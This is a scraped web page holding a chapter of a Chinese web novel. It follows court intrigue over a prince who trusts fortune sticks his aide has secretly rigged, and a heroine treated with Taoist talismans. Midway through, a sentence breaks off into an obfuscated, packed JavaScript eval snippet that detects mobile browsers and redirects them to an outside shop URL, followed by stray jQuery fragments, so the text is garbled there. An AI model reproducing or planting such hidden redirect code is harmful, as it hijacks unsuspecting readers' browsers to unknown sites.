文趣网 > 其他小说 > 和前男友绑定了辅佐系统 > 52. 上上签
    系统给的技能让他多思多虑,他能轻而易举的察觉别人微妙的恶意动机。

    他本身就是一个在意细节的人,一段一段信息在他脑海里自动排列组合,所有的一切总在不经意间呈现。

    他有时真的很讨厌这个技能,事件已发生,事件未发生和事件刚发生,三者是不一样的。

    事件已发生他会想弥补,事件未发生他会想避免,但事件刚发生他会自责。

    因为就差一点,差一点就可以未雨绸缪,差一点就可以避免。

    智力与武力各有各的好处,可智力的缺陷又很明显,你不可能事事走于人前,你总有失利的时候。

    布局要提前,要周全,要隐蔽,但破局不用,你只需要破坏就行了。

    你通过细枝末节推测出局的位置,甚至开始避免,但局起时又与你擦肩而过。

    你会怪布局人吗?你不会,布局者早你多年。你会怪暴露信息的人吗?你也不会,因为暴露信息的人给了你一个破局的希望。

    你还能怪谁呢?你只能怪你自己。

    为什么不早一点,为什么不再多想一点,为什么不再多观察一点,为什么不再多注意一点?

    差一点是他技能的缺陷,他明明已经有了超乎常人的智力了,为什么还是差一点?

    与萧煜明一起北上时,他差一点就可以完全取得萧煜明的信任了。

    萧煜明信他所言,萧煜明信他会帮助自己,萧煜明信他没有二心,但萧煜明只把他当成一个棋子,一个可以随时抛弃的棋子。

    游湖时萧煜明眼中闪过的精光,他几乎下意识猜到了他的想法,对啊,他于萧煜明而言只能算半个幕僚。

    不聪明的人才需要成堆的幕僚,萧煜明聪明,潘玥宁也聪明,萧煜明身后的人更聪明。

    聪明人不能聚在一起,他们聚在一起的结果只能是相互牺牲,而最后出现的他,一定会是第一个牺牲的人。

    阮译行看着连茹习离去的身影,他才不要做第一个牺牲的人,他要一直走到最后。

    *

    游湖事件被萧煜明压了下去,但他并不准备放过萧炳明,他为萧炳明设了一个局,他要萧炳明心甘情愿的跳入。

    他从不怜悯无用的敌人和棋子,他要将敌人一次性击溃,最好是锤进土里再也不能翻身。

    他一如往常在佛前拜了拜,双手的竹筒举过头顶,他虔诚的晃了晃,上天这次会给他一个什么签呢?

    “咔嗒”一声,一只签从竹筒中落出,注签落得位置很巧妙,恰好在他够不到的地方,他从蒲团上起身,上前拿起那根签。

    上上签,大吉。

    萧煜明将竹签重新塞去竹筒,他不再担心,天命在他,他还是天选之人。

    父皇曾对他说,他出生时伴着祥瑞,他的到来将是西凌的福运,而上天会眷顾福运之人。

    福运助他,却也成为了他的枷锁,他比任何人都清楚自己的弱点,他太信命了。

    万贵妃腹中的孩子像一道困咒,困住了他前行的脚步,他曾无数次想挣脱这道咒,但他挣脱不了,他只能相信。

    每一次做事,每一次谋算,每一次杀戮,似乎都是他在祈求上天。

    久而久之,他深信不疑。

    林鹊站在门外轻声呼喊着殿下,他回眸,林鹊的声音在他耳边响起。

    他的语气带着疑问,他问他,“殿下,如果是一只下下签,你会放弃你的计划吗?”

    萧煜明一愣,命若如此,他当然会放弃。

    林鹊看着愣神的萧煜明,他知晓了答案。

    皇后安排他在萧煜明身边做事,她希望他能暗中改掉萧煜明这个习惯,他试了很多方法。

    下下签会磋磨萧煜明的锐气,萧煜明会因此而退后,他只能接受上上签。

    一百个签中只有三个上上签,抽中的几率太小了。

    为了能让计划顺利进行,他只能将竹筒里的签全部换成上上签。

    这个办法很笨,但萧煜明信了,他变得越来越信命。

    林鹊看着他深陷其中,他能告诉萧煜明竹筒中的签全是上上签吗?他能告诉萧煜明他所信奉的天从不眷顾他吗?

    他不能,他不敢将真相说出。

    如果上上签能让萧煜明走上至高帝位,那他愿意欺瞒。

    思索间,萧煜明已从殿内走出,“林鹊,收拾一下,准备回去了。”

    林鹊上前将萧煜明的竹筒藏起,随后将正常的竹筒重新放回,做好一切后他重新回到萧煜明的身边。

    萧煜明走出寺庙时,内心是开心的。他遇事不决总会下意识抽签,下下签他也抽到过不少,每回抽到时,他便会如上天所愿放弃那件事。

    他有时会疑惑不解,为什么这么一件小事会是下下签呢?

    但他没有深究,因为上天的上上签总会如他所愿,他的上上签从没失败过。

    母后说竹签并不能代表什么,她说一切都是他自己谋算的结果。

    他摇头,一本正经的告诉母后,他说不是,他说这些是天意。

    *

    连茹习最近总有一种迷糊感,她觉得自己的神志不清醒,她常常会忘记自己刚刚做的事,她还会无缘无故感到虚脱无力。

    郎中瞧了好些遍,都没瞧出原因,她只能将这些归咎于自己太累了。

    直到手腕上的长枪滑落,枪头划过她的手腕,她才意识到不对。

    “哐当”一声,长枪落地,与之一同的是她手腕上的鲜血。

    血液不断流出,连茹习静静看着一团红色液体汇聚滴落,她又迷糊了。

    秋玲闻声赶来,看见手腕流血的连茹习一阵惊呼,“小姐,小姐,你怎么了?”

    她快步上前,简单用布条止住伤口后,她命春茴去请府医。

    软帛一道又一道缠绕,连茹习对着烛火看她滴落的血迹,她到底是怎么了呢?

    连盛和江唤礼闻声赶来,他们急切的关心她怎么了?

    坐在椅子上的连茹习茫然,她也不知道。

    二人众金聘请了道士,道士一见面就说连茹习面带煞气,有血光之灾。

    江唤礼觉得他是骗子,嚷嚷着要将人轰走,连盛却觉得宁可信其有,不可信其无,他给足银两,希望道士可以驱煞。

    道士手握拂尘,左摇右晃,故作高深的从怀中

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756874|206617||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    掏出一叠符纸。

    符纸上是朱砂绘制的不同图案,道士说,里外挂上符纸可以驱煞,并嘱咐连盛等人近几日一定不能让连茹习外出。

    连盛点头答应,他询问什么时候才能解了这煞气呢?

    拂尘从连盛面前甩过,连盛强忍着压制想打喷嚏的冲动,道士瞥了他一眼,“待符纸完全消失时,煞气就解了。”

    连盛握着符纸,符纸透着淡淡的草木气息。

    “这是由黄檗药汁浸染后做成的楮皮符纸,可保平安驱邪祟,驱除个小小煞气,轻而易举。”

    连盛谢过,手中的符纸厚实有韧劲,他真真有些好奇这些符纸该如何消失了。

    道士走后,连盛命人搬来梯子,亲自在清梅院中贴上符纸,里里外外,他贴了个遍。

    贴到最后还余三张,他一挥手,全都贴在了连茹习的床边。

    贴好后他学着道士的模样嘱咐连茹习近几日不要外出,好好在家里歇息,府上的拜帖,好友的邀约都要拒绝。

    连茹习应声说好,她也很想知道这些带着草木香的符纸管不管用。

    她不信鬼神,但有些事不靠玄学很难解释。

    夜晚的符纸在空中飘荡,黄色符纸上的朱砂在烛火下越发清晰。

    连茹习看着床前悬挂的符纸,久久没有睡去。

    魏孝矣站在清梅院的符纸前,手中灯笼的烛火摇曳跳动,他其实并不迷信,但道士的话他信了三分。

    符纸真的能除邪祟吗?符纸真的能让连茹习回来吗?

    道士只说连茹习面带煞气有血光之灾,那他是变相承认了现在的连茹习就是连茹习吗?

    树叶在他背后作响,他到底希不希望她是连茹习呢?

    灯笼中的火焰被突如其来的风吹灭,他提着那盏灭掉的灯笼往清荷院走去。

    月色散在石板路上,他借着月色回到了清荷院。

    清荷院的烛火未熄,隔着窗户亮着微弱的光,他推门而入。

    符纸在连茹习面前晃了三天,她有些按耐不住想出去走走。

    她不断说服自己这些是假的,她没有煞气,小破道士连她是异世之魂都看不出来,开的符纸能有什么用?

    第三天夜晚,她换上夜行衣从清梅院的院墙翻出。

    这么多天没见,她猜测阮译行差不多已经好了,连盛怕她在清梅院无聊,时常会与她分享她朋友的近况。

    她今日听连盛提了一嘴,遂来看看。

    推开窗户,她一跃而进。

    阮译行上床的动作一顿,披上衣服转身看她,“今天怎么来了?”

    连茹习坐在茶桌旁的椅子上,“来看看你的病好没好?郎中的药吃完了吗?上次我记得抓了五六天的量?吃完觉得怎么样?”

    阮译行不知她今日会来,他的目光瞥向茶壶,茶壶的茶不是她爱喝的,他一边拉开柜子取茶叶,一边回答她的话。

    “我的病好的差不多了,药在第五天吃完了,吃完觉得好多了。”

    连茹习点头,左手已经不自觉的伸向她的茶盏,右手顺势提起茶壶。

    “今日不知道你要来,没沏茶,那里面是白水。”